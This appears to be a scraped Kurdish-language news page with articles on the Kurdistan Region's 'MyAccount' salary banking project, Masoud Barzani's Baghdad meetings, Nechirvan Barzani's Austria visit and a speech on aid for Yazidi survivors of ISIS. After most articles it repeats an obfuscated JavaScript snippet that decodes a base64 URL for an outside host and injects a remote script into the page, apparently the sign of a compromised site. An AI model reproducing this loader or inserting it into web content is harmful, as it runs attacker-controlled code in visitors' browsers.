سەرۆكێ حوكمەتا هەرێما كوردستانێ راگەهاند: پڕۆژەیێ (هەژمارا من) تنێ بۆ خزمەتا وەلاتییانە و ئەو پڕۆژە دێ شیانێن دارایی بۆ وەلاتییان ڤەگەرینیت و دێ وان كەتە خودان بڕیارا خوە، ژبلی هەبوونا چەندین خزمەتگوزاریێن بانكی.
مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ د چارچۆڤەیێ دیدارەكێدا ل گەل هەژمارەكا وەلاتیێن سنوورێ پارێزگەها سلێمنیێ گۆت » هەژمارا من پڕۆژەیەكە تنێ بۆ خزمەتا وەلاتییان هاتییە دروستكرن و ئەوێن دژایەتییا (هەژمارا من) دكەن، یان تێبینییان ل سەر (هەژمارا من) ددەن، یان چ ژێ نزانن، یان بۆ مەرەمەكا سیاسی دژایەییا وێ دكەن».
سەرۆكێ حوكمەتا هەرێما كوردستانێ گۆت ژی» (هەژمارا من) نە پڕۆژەیەكێ كەسایەتییە و نە پڕۆژەیەكێ حزبییە، تنێ تشتەكە كو دێ شیانێن دارایی بۆ وەلاتییان زڤرینیت. ئەو وەلاتیێ فەرمانبەر كو مووچەی وەردگریت، ئەڤێجارێ ژ حوكمەتێ مووچەیێ خوە دێ وەرگریت، نەكو ژ بەرپرسەكێ سیاسی، نە ژ بەرپرسەكێ سەربازی، نە مەجبووری كەسەكێ دبیت كو خو ب مەزنتر بزانیت، شیانێن مادی بۆ وەلاتیێن ێ زڤرن و وەلاتێ دێ بیتە خودان ئیرادەیا خوە و خودان حیسابا بانكییا خوە».
ل دۆر پڕۆژەیێ (هەژمارا من)، مەسرور بارزنی، سەرۆكێ حوكمەتا هەرێما كوردستانێ ئاماژە ب ئەوێ چەندێ كر» چەندین خزمەتگوزاری یێن هەین كو ل (هەژمارا من) دێ وەلاتییان دێ هێنە پێشكێشكرن. دبیت 19 خزمەتگوزاریێن جودا جودا یێن هەین كو ئێك ژوان وەرگرتنا قەرایە. وەلاتی دشێت قەری ژ بانكێ وەربگریت، دشێت كاری بۆ خوە ببینیت و دبیت بشێت كارەكێ بۆ خوە رێكبێخیت و دبیت ژی پاشی بشێت پێشڤە ببەت و مەزنتر بكەت».
سەرۆكێ حوكمەتا هەرێما كوردستانێ رۆهنكر» مفادار ژ پڕۆژەیێ (هەژمارا من) دشێت وەكو هەموو كەسەكی ل جیهانا پێشكەفتی، مفای ژ خزمەتگوزاریێن بانكی وەربگریت. دشێت ل شوونا ئەوێ چەندێ ب پارەیێ كاش مامەلێ بكەت، ب كرێدت كارت مامەلێ بكەت، ئەز نزانم بۆچی دژایەتییا وی دكەن؟ ئەوێ دژایەتیێ دكەت و ئەوێ دژی پڕۆژەیێ (هەژمارا من) دئاخڤیت، باوەر بكەن یان چ ژێ نزانیت، یان ژی ئەوە ناخوازیت وەلاتی خودان بڕیارا خوە بیت و دخوازیت هەردەم وەكو حزبا سیاسی وەلاتی بكاربینیت، پێدڤییە تو ئەڤێ چەندێ بۆ من بكەی هەكە مووچەی نادەمەتە، دڤێت تو ل گەل من بی هەكە تە نادامەزرینم».
ل درێژییا ئاخڤتنێن خوە دا، سەرۆكێ حوكمەتا هەرێما كوردستانێ گۆت ژی» ئەڤێجارێ ئەم یێن هاتین بێژینە وەلاتی كەس خودانێ تە نینە و تو ب وە خودانێ خوی، خودێ خودانێ تەیە، حوكمەت د خزمەتا تە دایە و ئەڤ پڕۆژەیە بۆ تەیە دێ سەرێ مەهێ چی مووچەیێ خوە وەرگری، هیچ كەسەك نە رێگریێ ل تە دكەت، نە دشێت خوە سەر تە مەزن بكەت، بەرۆڤاژی دێ تو بییە خودانێ بڕیارا خوە و خودانێ دەستهەلاتا مادی یا خوە».
مەسرور بارزانی خویاكر ژی» پڕۆژەیێ (هەژمارا من) دشێت ڤەژاندنەكا ئێكجار مەزن د ئابۆرێ هەرێما كوردستانێ دا دروست بكەت».
ل دووڤ ئامارێن حوكمەتا هەرێما كوردستانێ هەتا نوكە زێدەتر ژ 400 هزار مووچەخۆران خوە ل پڕۆژەیێ (هەژمارا من) تۆماركریە و 231 ئامیرێن راكێشانا پارەی (ATM)ل سەرانسەری هەرێما كوردستانێ بەردەستن و هەتا دووماهییا سالا 2024 هەمارا وان دێ گەهیتە هزار ئامیرەیان.
هەژمارا بانكێن پشكدار د پڕۆژەیێ (هەژمارا من) دا هەشت بانكن ئەوژی بانكێن ئارتی، جیهان، بەغدا، بی بی ئەی سی (بانكەكا لوبنانییە)، بانكا ئەهلی یا ئیراقی، بانكا ئیسلامی یا ئیراقی، بانكا ئیراقی بۆ بازرگانیێ (TBI) و بانكا گەشەپێدانا نێڤدەولەتی (IDB).(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆك مەسعود بارزانی د سەرەدانا خوە دا بۆ بەغدا زێدەتر ژ 17 دیدار و كۆمبوون ل گەل سەركردەیێن ئالیێن سیاسی، بەرپرسێن حزبی و حكومی و بالیۆزێن وەلاتان ل ئیراقێ ئەنجامدان، مەبەست ژ سەرەدانا وی چارەسەركرنا كێشەیێن ناڤخوەییێن ئیراقێ ب گشتی و كێشەیێن د ناڤبەرا هەولێرێ وبەغدا ب تایبەتی یە.
سەرۆك بارزانی د داخیۆیانییەكا رۆژنامەڤانییا هەڤپشدا ل گەل محەمەد شیاع سۆدانی، سەرۆك وەزیرێن ئیراقێ، خوەشحالییا خوە بۆ سەرەدانا بەغدا دیاركر و راگەهاند كو ئارمانج ژ سەرەدانێ ب هێزكرنا ئەوان بزاڤایە یێن كو پێشتر ژ ئالیێ سەرۆك وەزیرێن ئیراقێ ڤە هاتینە كرن و بووینە ئەگەرێ ڤەكرنا گرێیان و باشتربوونا پەیوەندیێن د ناڤبەرا هەردو حوكمەتێن ئیراقێ و هەرێما كوردستانێ دا.
ل دۆر ناڤەرۆكا كۆمبوونا وان، سەرۆك بارزانی راگەهاند كو دانوستاندنێن ئاڤاكەر بوون و بۆچوونێن هەڤپشك ل دۆر رەوشا ناڤخوەیی و هەرێمی ل گەل سۆدانی هەبوون و دوپاتكر» دێ بەردەوام بین ل سەر هەماهەنگیێ و هاریكاریێ».
سەرۆك بارزانی دوپاتكر ژی» هەكە نیازێن اش هەبن، چارەسەركرنا هیچ كێشەیەكێ ب زەحمەت نابیت و ئەڤ نیازە یێن هەین و سۆدانی ب ئەڤان نیازان سەركردایەتییا وەلاتی دكەت و ب ئەڤان نیازان ئەم گەهاندینە ئەڤێ رەوشا ئارام».
سۆدانی سەبارەت سەرەدانا سەرۆك بارزانی بۆ بەغدا گۆت » سەرەدانا سەرۆك بارزانی یا گرنگە، چونكە سەركردەیەكێ نیشتمانپەروەرە و رۆلەكێ كارا و كاریگەر د پڕۆسەیا سیاسیدا هەبوو، مە دانوستاندن ل دۆر پرسێن ناڤخوەیی و هەرێمایەتی كرن».
د كۆمبوونا خوە دا ل گەل سەركردەیێن هەڤپەیمانییا ئیدارەیا دەولەتێ، سەرۆك بارزانی دوپاتی ل چارەسەركرنا هەموو كێشەیێن د ناڤبەرا بەغدا و هەولێرێدا كر.
هەروەسا سەرۆك بارانی ل گەل فایق زێدان، سەرۆكێ جڤاتا بلند یا دادوەری ل ئیراقێ كۆمبوو، د دیدارەكێدا بۆچوون ل دۆر رەوشا سیاسییا ئیراقێ و پەیوەندی د ناڤبەرا ئالییان هاتە كرن و دوپاتی هاتە كرن كو پێدڤییە هەموو كێشە و گرفت ل سەر بنەمایێ دستووری و قانوونێ بهێنە چارەسەركرن.
ئەلینا رۆمانووسكی، بالیۆزا ئەمریكا ل ئیراقێ د تۆرا (ئێكس) دا پەیامەك ل دۆر دیدارا خوە ل گەل سەرۆك بارزانی ل بەغدا بەلاڤكر وگۆت » هەردەم یا دلخوەشم ب دیدارا ل گەل سەرۆك مەسعود بارزانی، ل گەل دانوستاندنان ل دۆر پەیوەندیێن مە یێن گرنگ» هەروەسا گۆت » مە دانوستاندن كرن ل دۆر رەوشا هەرێمایەتی و هەڤپشكییا ئەمریكا یا بەردەوام ل گەل هەرێما كوردستانێ هەڤدەم پشتەڤانییا مە بۆ ئەنجامدانا هەلبژارتنێن ئازاد ل هەرێما كوردستانێ ل 20/10».
هەر ل بەغدا سەرۆك بارزانی پێشوازی ل تسوی وی، بالیۆزێ چینێ ل ئیراقێ كر و د دیدارەكێدا رۆناهی ئێخستن سەر رەوشا سیاسییا ئیراقێ و سەرۆك بارزانی ئەگەرێن سەرەدانا خوە بۆ بەغدا و كۆمبوونێ ل گەل ئالیێن ئیراقی بەرچاڤكر و راگەهاند كو نیازا چارەسەركرنا كێشەیێن د ناڤبەرا حوكمەتا هەرێمێ و حوكمەتا فیدرالیدا دهێتە دیتن و ب دەلیڤەیەكا باش ل قەلەم دا بۆ ئێكلاكرنا كێشەیان.
هەروەسا سەرۆك بارزانی پێشوازی ل ئیلیروس كوتراشیڤ، بالیۆزێ رۆسیا ل ئیراقێ كر و باس ل دۆر پەیوەدیێن هەرێمێ و بەغدا و رەوشا سیاسییا ئیراقێ هاتەكرن و سەرۆك بارزانی ئەگەرێن سەرەدانا خوە بۆ بەغدا و هەبوونا نییەتا چارەسەركرنا كێشەیان بەرچاڤكر.
هەر ل بەغدا سەرۆك بارزانی ل گەل ستیڤن هیتچن، بالیۆزێ بریتانیا ل ئیراقێ كۆمبوو و سەرۆك بارزانی ئەگەرێ سەرەدانا خوە بۆ بەغدا و كۆمبوون ل گەل ئالیێن سیاسی یێن ئیراقی بەرچاڤكر و بالیۆزێ بریتانیا پشتەڤانییا وەلاتێ خوە بۆ سەرەدانا سەرۆك بارزانی بۆ بەغدا دوپاتكر.
هەر ل بەغدا سەرۆك بارزانی پێشوازی ل پاتریك دوریل، بالیۆزێ فرەنسا ل ئیراقێ كر و د كۆمبوونەكێدا باس ل كێشە و گرفتێن سیاسی ل ئیراقێ هاتە كرن و سەرۆك بارزانی ئەگەرێن سەرەدانا خوە بۆ بەغدا و دیدارێن وی ل گەل ئالیێن ئیراقی شرۆڤەكر.
سەرۆك بارزانی ل مالا عەمار حەكیم، سەرۆكێ باسكێ حیكمە، ل گەل سەركردەیێن چارچۆڤەیێ هەماهەنگیی كۆمبوو و چەند پرسێن گرنگ هاتنە باسكرن.
د كۆمبوونەكێدا سەرۆك بارزانی و سەركردەیێن چارچۆڤەیێ هەماهەنگیێ د هەڤڕا بوون ل سەر بەردەوامبوون ب چارەسەركرنا پرسێن هەلاویستی د ناڤبەرا هەرێمێ و بەغدا دا ب گۆڕەی قانوون و دستوورێ ئیراقێ. هەروەسا د كۆمبوونێدا گرنگییا ئێكخستنا هەلوەستێ نیشتمانی بەرانبەر پرسێن جودا جودا یێن گرێدای بەرژەوەندییا ئیراقێ و بەردەوامیدانا بزاڤێن چارەسەركرنا كێشەیێن هەلبژارتنا سەرۆكێ جڤاتا نوونەرێن ئیراقێ هاتە دوپاتكرن.
د كۆمبوونا خوە دا ل گەل موحسن مەندەلاوی، سەرۆكێ جڤاتا نوونەرێن ئیراقێ ب وەكالەت، مەندەلاوی رێز و پێزانین بۆ رۆلێ دیرۆكی و پێگەهێ سەرۆك بارزانی ل پرۆسەیا سیاسییا ئیراقێدا هەبوو و هیڤی خواست هەبوونا سەرۆك بارزانی یا هاریكار بیت بۆ چارەسەربوونا كێشەیێن ئیراقێ. ژ ئالیێ خوەڤە سەرۆك بارزانی ب پێدڤی زانی دانوستاندن ببیتە بنەمایەكێ جهگیر بۆ چارەسەركرنا كێشەیان.
سەرۆك بارزانی ل بەغدا پێشوازی ل شاندەكێ هەڤپشك ژ هەشت بالیۆزێن وەلاتێن ئەرەبی ل بەغدا كر ئەوژی بالیۆزێن كوەیت، قەتەر، مسر، بەحرێن، عومان، ئوردن، سعودیە ئیمارات.
د كۆمبوونەكێدا سەرۆك بارزانی كورتییەك ل دۆر رەوشا سیاسییا ئیراقێ و ئەگەرێ سەرەدانا خوە بۆ بەغدا و دانوستاندن ل گەل ئالیێن سیاسی بۆ شاندێ مێهڤان بەرچاڤكر و ئاماژەكر» سەقایەكێ ئەرێنی د رەوشا سیاسییا ئیراقێ يش هاتییە پێش و د شیاندایە ل سەر بنەمایێ ئەوی سەقایێ نوو دەرئەنجامێن باش بۆ چارەسەركرنا كێشەیان و نەهێلانا ئاستەنگان كو ئەوێ چەندێ خوە ب خوە دێ كاریگەری ل سەر سەقامگیرییا ئیراقێ و دەڤەرێ هەبیت».
سەرۆك بارزانی ل بەغدا پێشوازی ل ئەسعەد عیدانی، پارێزگەرێ بەسرە كر و د كۆمبوونەكێدا رەوشا سیاسییا ئیراقێ و و پارێزگەهێن باشوورێ ئیراقێ و دەرئەنجامێن سەرەدانا سەرۆ بارزانی بۆ بەغدا هاتە باسكرن.
سەرۆك بارزانی ل گەل سەركردەیێن ئالیێن سیاسی یێن سوننی ل مالا خەمیس خەنجەر ل بەغدا كۆمبوو و سەرەدانا سەرۆك بارزانی بۆ بەغدا ب دیرۆكی و گرنگ هەژمارتن و ئاماژەكرن كو دێ كاریگەرییەكا ئەرێنی ل سەر پڕۆسەیا سیاسی بجهـ هێلیت و باس ل گیرۆگرفتین پێكهاتەیێ سوننی و كێشەیا دیاركرنا سەرۆكێ جڤاتا نوونەران هاتە كرن. سەركردەیێن سوننی داخواز ژ سەرۆك بارزانی كر هاریكارێ پڕۆسەیا سیاسییا ئیراقێ بیت بۆ وێ چەندێ هەموو پێكهات بگەهنە چارەسەریێ. هەر ل بەغدا سەرۆك بارزانی ل گەل محەمەد حەلبۆسی، سەرۆكێ حزبا تەقەدووم كۆمبوو.
سەرۆك بارزانی ل بەغدا پێشوازی ل نوری مالكی سەرۆكێ هەڤپەیمانییا دەولەتا قانوونێ كر و باس ل پەیوەندیێن دو ئالیانە و دانانا میكانیزما هەماهەنگیێ ل گەل ئالیێن پێكئێنەرێن چارچۆڤەیێ هەماهەنگیێ هاتە كرن.
هەر ل بەغدا سەرۆك بارزانی پێشوازی ل ئانل بۆرا ئینان، بالیۆزێ توركیا ل ئیراقێ كر و دكۆمبوونەكێدا باس ل دووماهی پێشهات و رەوشا سیاسییا ئیراقێ هاتە باسكرن و سەرۆك بارزانی ئاماژەكر كو د ناڤ پڕۆسەیا سیاسییا ئیراقێدا سەقایەكێ ئەرێنی یێ هاتییە پێش، هەروەسا سەرۆك بارزانی ل بەغدا پێشوازی ل محەمەد كازم بالیۆزێ ئیرانێ ل ئیراقێ كر و باس ل رەوشا سیاسییا ئیراقێ و دەڤەرێ هاتە كرن و بالیۆزێ ئیرانێ دیاركر كو وەلاتێ وی ب گرنگی دنێریتە سەرەدانا سەرۆك بارزانی بۆ بەغدا و هیڤی خواست ئەنجامێن ئەرێنی بۆ ڤی سەرەدانێ هەبن.
د كۆمبوونا د ناڤبەرا سەرۆك بارزانی و لەتیف رەشید، سەرۆك كۆمارێ ئیراقێ، لەتیف رەشید سەرەدانا سەرۆك بارزانی بۆ بەغدا ب گرنگ و كاریگەر هەژمارت و هیڤی خواست دەرئەنجامێن وێ سەرەدانێ خزمەتا سەقامگیری و بەرژەوەندییا ئیراقێ بكەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

نێچیرڤان بارزانی، سەرۆكێ هەرێما كوردستانێ دوهی د كۆمبوونەكێ‌ دا ل كۆچكا سەرۆكاتییا نەمسا هۆڤبێرگ ل گەل ئەلكزاندەر ڤاندەر بێلن، سەرۆكێ وی وەلاتی ل دۆر هاریكاریێن هەڤپشك و پەیوەندیێن نەمسا ل گەل ئیراقێ‌ و هەرێما كوردستانێ‌ بیروڕا لهەڤ گوهارتن.
د كۆمبوونێ‌ دا، هەردو ئالیان دوپاتی ل پێشڤەبرن و بەرفرەهكرنا پەیوەندیان د هەمی واران د هەروەسا رەوشا ئیراقێ‌ و هەرێما كوردستانێ‌، دانوستاندنێن هەولێر و بەغدا بۆ چارەكرنا كێشەیان ل سەر بنەمایێ‌ دستووری و بجهئینانا سیستەمێ‌ فیدرالیێ‌ و هەلبژارتنێن پەرلەمانێ‌ كوردستانێ‌ باسكرن.
سەرۆكێ هەرێما كوردستانێ سوپاسی و پێزانین بۆ هاریكاری و پشتەڤانیا بەردەواما نەمسا ل ئیراقێ‌ و هەرێما كوردستانێ‌ هەبوون و پەسنا رۆلێ‌ نەمسا د چارچوڤەیێ‌ هەڤپەیمانیا نێڤدەولەتی یا دژی داعشێ‌ دا كر. ژ ئالیێ‌ خوە ڤە سەرۆكێ‌ نەمسا بەردەوامیا پشتەڤانی و هەڤسۆزیا وەلاتێ‌ خوە بۆ گەلێ‌ كوردستانێ‌ و مافێن وان دوپاتكر.
د تەوەرەكێ‌ دی یێ‌ كۆمبوونێ‌ دا، باسێ‌ پێكڤژاێ‌ و رەوشا پێكهاتەیان و مافێن وان ل هەرێما كوردستانێ‌ و ئیراقێ‌ كر، د ڤی واری دا هەردو ئالی ل سەر هاریكاریكرنا ئێزدیان ژ ئالیێ‌ جڤاكێ‌ نێڤدەولەتی ڤە هەڤڕابوون، كو مەزنترین قوربانیێن دەستێ‌ تیرۆرستێن داعشێ‌ بوون.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

سەرۆكێ حوكمەتا هەرێما كوردستانێ دوپاتی ل پێدڤییا بجهئینانا رێككەفتنا شنگالێ كر و راگەهاند: ژ ئەگەرێ خوەسەپاندنا گرۆپێن چەكدار یێن نە قانوونی ،خووشك و برایێن مە یێن ئێزدی یێن د كەمپاندا ماین و نەشیاینە بۆ جهێن خوە بزڤرن.
دوهی سێشەمبی 2-7-2024، ب بەرهەڤبوونا مەسرور بارزانی، سەرۆكێ حوكمەتا هەرێما كوردستانێ، رێورەسمێ راگەهاندنا بەرنامەیێ پشتەڤانییا دارایی بۆ رزگاربوویێن ژ دەستێ تیرۆرستێن داعشێ ل هۆلا سەعەد عەبدوللا ل باژێرێ هەولێرێ هاتە ئەنجامدان.
د رێورەسمیدا سەرۆكێ حوكمەتا هەرێما كوردستانێ پەیڤەك پێشكێشكر و تێدا ئاماژە ب ئەوێ چەندێ كر، پشتی 10 سالان ژ ئەوێ كارەسات و كۆمكوژیێ، هێشتا رەوشا دەڤەرێ شنگالێ ئاسایی نەبوویە و ژ ئەگەرێ خوەسەپاندنا میلیشییا و گرۆپێن چەكدار یێن نە قانوونی، خووشك و برایێن مە یێن ئێزدی یێن د كەمپاندا ماین و نەشیاینە بۆ جهێن خوە بزڤرن و ژ بەر ئەڤی ئەگەری هەتا نوكە دەڤەرێن وان نەهاتینە ئاڤەدانكرن.

دەقێ پەیڤا سەرۆكێ حوكمەتا هەرێما كوردستانێ ..

شەرەفمەندین كو رێزێ ل قوربانیێن رزگاربوویێن ژ دەستێ تیرۆرستێن داعشێ دگرین. هەرچەندە ئەڤسالە هەلكەفتا 10 سالییا روودانا كۆمكوژییا شنگالێ و دەوروبەرێن وی دكەین، بەلێ مخابن ئێش و ئازار و مەینەتێن خەلكێ ئێزدی پشتی دەربازبوونا 10 سالان ب سەر ئەوێ كارەساتێ ژی، هێشتا ب دووماهی نەهاتینە.
ئەڤرۆ ل ڤێرێ ب رێز و پێزانینەكا مەزن ڤە، بیرئینانا قوربانیێن ئەوێ كۆمكوژییا دەستێ تیرۆرستێن داعشێ ژ خووشك و برایێن ئێزدی دكەین، هەروەسا ب پێزانینەكا مەزن ڤە، بیرئینانا خۆڕاگری و قەهرەمانی و قوربانیدانێن هێزا پێشمەرگێ كوردستانێ ژی دكەین كو ب رێبەرییا سەرۆك بارزانی، تیرۆرستێن داعشێ شكاندی و شنگال رزگركری.
پشتی 10 سالان ژ ئەوێ كارەسات و كۆمكوژیێ، بەلێ هێشتا رەوشا دەڤەرا شنگالێ ئاسایی نەبوویە و ژ ئەگەرێ خوەسەپاندنا میلیشییا و گرۆپێن چەكدار یێن نەقانوونی، خووشك و برایێن مە یێن ئێزدی یێن د كەمپاندا ماین و نەشیاینە بۆ جهێن خوە بزڤرن و ژ بەر ئەڤێ ئەگەرێ هەتا نوكە دەڤەرێن وان نەهاتینە ئاڤەدانكرن.
ب ئەڤێ هەلكەفتێ، پشتەڤانییا خوە بۆ داخوازیێن رەوا یێن خووشك و برایێن مە یێن ئێزدی دوپات دكەین و پێدڤییە رەوشا نەئاسایییا شنگالێ ب دووماهی بهێت و رێككەفتنا شنگالێ وەكو خوە بهێتە بجهئینان و میلیشییا و هێزێن نە قانوونی ژ وێ دەڤەرێ بهێنە دوورئێخستن بۆ ئەوێ چەندێ ب هاریكرییا حوكمەتا فیدرالی و جڤاكێ نێڤدەولەتی، بشێین دەڤەرێ ئاڤەدان بكەین و دەستهەلاتا دەڤەرێ ژی بزڤریتە دەستێ خەلكێ رەسەنێ شنگالێ.
حوكمەتا هەرێما كوردستانێ، پێنگاڤێن باش یێن هاڤێتین بۆ سڤككرنا ئازارێن كەسوكارێن قوربانیێن دەستێ تیرۆرستێن داعشێ و هەروەسا رۆلەكێ گرنگ و بەرچاڤ هەبوو د ئازادكرنا هەژمارەكا زۆر یا رەڤاندیێن ئێزدی و پێكهاتەیێن دی ژ دەستێ تیرۆرستێن داعشێ و دێ بەردەوام بیت د بزاڤێن خوە دا بۆ زانینا چارەنڤیس و كاركرن بۆ رزگاركرنا هەموو ئەوێن هەتا نوكە بێسەر و شوینن.
هەروەسا حوكمەتا هەرێما كوردستانێ كار ژی كرییە بۆ ب جینۆساید ناساندنا تاوانێن داعشێ وكو تاوانێن شەڕێ. بۆ ئەڤێ مەبەستێ، ب پشتەڤانییا جڤاكێ نێڤدەولەتی بۆ لێپرسینێ ژ تاوانێن داعشێ، مە داخوازكر دادگەهەكا تایبەتمەند بهێتە دامەزراندن بۆ دادگەهكرنا تیرۆرستێن داعشێ ل سەر تاوانێن وان یێن نێڤدەولەتی، بەلێ مخابن ئەڤ بزاڤە هەتا نوكە د ئاستێ فیدرالیدا، وەكو پێدڤی پێشوازی ل ئەڤێ پێنگاڤێ نەهاتییە كرن.
دەستخوەشیێ ل هەموو ئەوان وەلاتان دكەین كو تاوانێن تیرۆرستێن داعشێ دژی كوردێن ئێزدی ب فەرمی ب جینۆساید ناساندییە. هیڤیدارین جڤاكێ نێڤدەولەتی، هاریكار و بیت د كێمكرنا ئێش و ئازارێن خووشك و برایێن مە یێن ئێزدی و زڤراندنا ئاوارەیان بۆ جهێن خوە ب سەربلندی و ازادی.
قوربانیێن رزگاركری ژ دەستێ داعشێ، سەرەرای هەموو ئێش و ئازار و نەهامەتیێن روو ب رووی بووین، بەلێ جهێ خوەشحالیێ و شانازیێیە، كو ئەو خۆڕاگرانە د بەردەوامن ل بزاڤ و كاركرنێ ژ پێخەمەت درێژەدانێ ب ژیانێ گەلەك ژ وان ژی بووینە نموونە و سیمبۆلا ژێهاتنێ و چیرۆكەكا ئیلهام بەخشیێ یا خۆراگریێ و سەركەفتنێ.
خوەشحالبووم كو ل مەها بۆری، ل ئاهەنگا دەرچوونا قوتابیێن زانكۆیا ئەمریكی كوردستان ل دهۆكێ، خەلاتێ خۆڕاگریێ ب ئێك ژ رزگاربوویێن دەستێ داعشێ كو ئەوژی شرین خێرۆ بوو كو ل زانكۆیا ئەمریكی، گەلەك ب سەركەفتییانە خواندنا خوە تمامكر و باوەرنامە وەرگرت، سەرهاتییا ئەوێ خانمێ، چیرۆكەكا كێم وێنەیە، كو سەرەرای رەڤاندن و دەستبسەریێ بۆ چەند سالان ژ ئالیێ داعشێ ڤە، بەلێ یا رژد بوو ل سەر بەردەوامبوونێ ل خواندنێ و بۆ هێما و نیشانا خۆڕاگرییا خووشك و برایێن مە یێن ئێزدی».
خووشك و برایێن ئێزدی، پشكەكا گرنگ و دانەبڕاینە ژ گەلێ كوردستانێ و رێورەسمێن وان یێن ئایینی ژی ب زمانێ كوردییە. سەرەرای هموو پیلان و بزاڤێن نەحەزان بۆ دابڕینا وان ژ خەلكێ كوردستانێ، بەلێ ئەو هەر ژ كەڤن دا پێكهاتەیەكێ رەسەنێ گەلێ كوردستانێ بوون و هەر دێ وەسا ژی مینن و دێ پشكەكا گرنگ بن د ئەوێ پێكڤەژیانا ل هەرێما كوردستانێ هەی.
ئەڤ رێزلێگرتنە بەخشینەكا مەهانەیە بۆ زێدەتر ژ سێ هزار خووشكێن ئێزدی یێن رزگاربووی ژ دەستێ داعشێ و بێگومان ب باشتربوونا رەوشا دارایی، ئاستێ هاریكاریێن مە بۆ ئەوان خوەشتڤییان دێ بەرفرەهتر بیت. ئەم دێ هەموو هاریكارییەكێ پێشكێشێ ئەڤان ئەزیزان كەین تاكو ژیانەكا هەژی هەبیت و پشكەكا بچووك ژ برینێن وان دەرمان بەین، ب تایبەتی ل دیتنا دەلیڤەیا كاری و درێژەدان ب خواندنێ و چارەسەركرنا نوژداری، ل دووڤ شیانان دێ هەموو ئاسانكارییان بۆ كەین.
ل ڤێرێ ل جهێ خویە سوپاسییەكا بێ سنوور یا سەرۆك بارزانی و پێشمەرگێن مە یێن قەهرەمان بكەین، پشتی كو شنگال كەفتییە د دەستێ تیرۆرستێن داعشێدا، سەرۆك بارزانی سۆز دا ئەو نە راوەستیت هەتا شنگال رزگار نەبیت. لەوما بڕیار دا ئەو ب خوە سەركردایەتییا شەڕێ رزگاركرنا شنگالێ بكەت و ئەم ژی هەتا شنگال هاتییە رزگاركرن و گەهشتینە سەر چیایێ شنگالێ د خزمەتا وی دا بووین كو دەمێ 100 رۆژان بوو.
گەلەك كەسان بزاڤكر ئەڤێ چیرۆكێ ب ئاستەكێ نە دروست ڤەگێرن، تنێ ئەوێ چەندێ بزانن كو ئێزدی و خووشك و برایێن مە یێن ئێزد، هەموو دەمەكی د دلێ سەرۆكی دا بوون و جەنابێ سەرۆكێ ژ هەموو كەسەكی زێدەتر خەمخۆرێ ئێزدییان بوو و ئەوی ب خوە و هەموو كەسوكار و پێشمەرگەیێن وی، ئەوا پێچێبووی كر تاكو سەربلندی و كەرامەتا ئێزدییان بزڤریت و تیرۆرستێن داعشێ بشكێنیت. ل جهێ خویە سوپاسییەكا گەم یا پێشمەرگێن قەهرەمان بكەین كو چەندین پێشمەرگەیان گیانێ خوە كرە قوربانی تاكو شنگالا بندەست بهێتە رزگاركرن.
ئەڤرۆ ئەم یێ ل ڤێرێ بۆ ئەوێ چەندێ سوپاسی و پێزانینا خوە ئاراستەی خۆڕاگرییا گەلێ مە یێ ئێزدی بكەین، سەرەرای هەموو ئەوان نەهامەتییان، سەرەرای ئەو هەموو ستەما كو ل بەرامبەر هەوە هاتییە كرن، هوون د خۆڕاگروون، هەوە نە ناسنامەیا خوە ژ دەستدا، نە ژی هیڤی و ئومێدێن خوە ژ دەستدان.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

نێچیرڤان بارزانی سەرۆكێ هەرێما كوردستانێ دوهی ب سەرەدانەكا فەرمی گەهشتە نەمسا، بڕیارە ئەڤرۆ سێشەمبی دگەل سەرۆك و وەزیرێ دەرڤە یێن وی وەلاتی كۆمبیت.د كۆمبوونان دا، دەلیڤە و بیاڤێن پێشڤەبرنا پەیوەندیێن نەمسا دگەل ئیراقێ و هەرێما كوردستانێ و بەرفرەهكرنا هاریكاریێن هەڤپشك دگەل دا گەنگەشە كەت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var 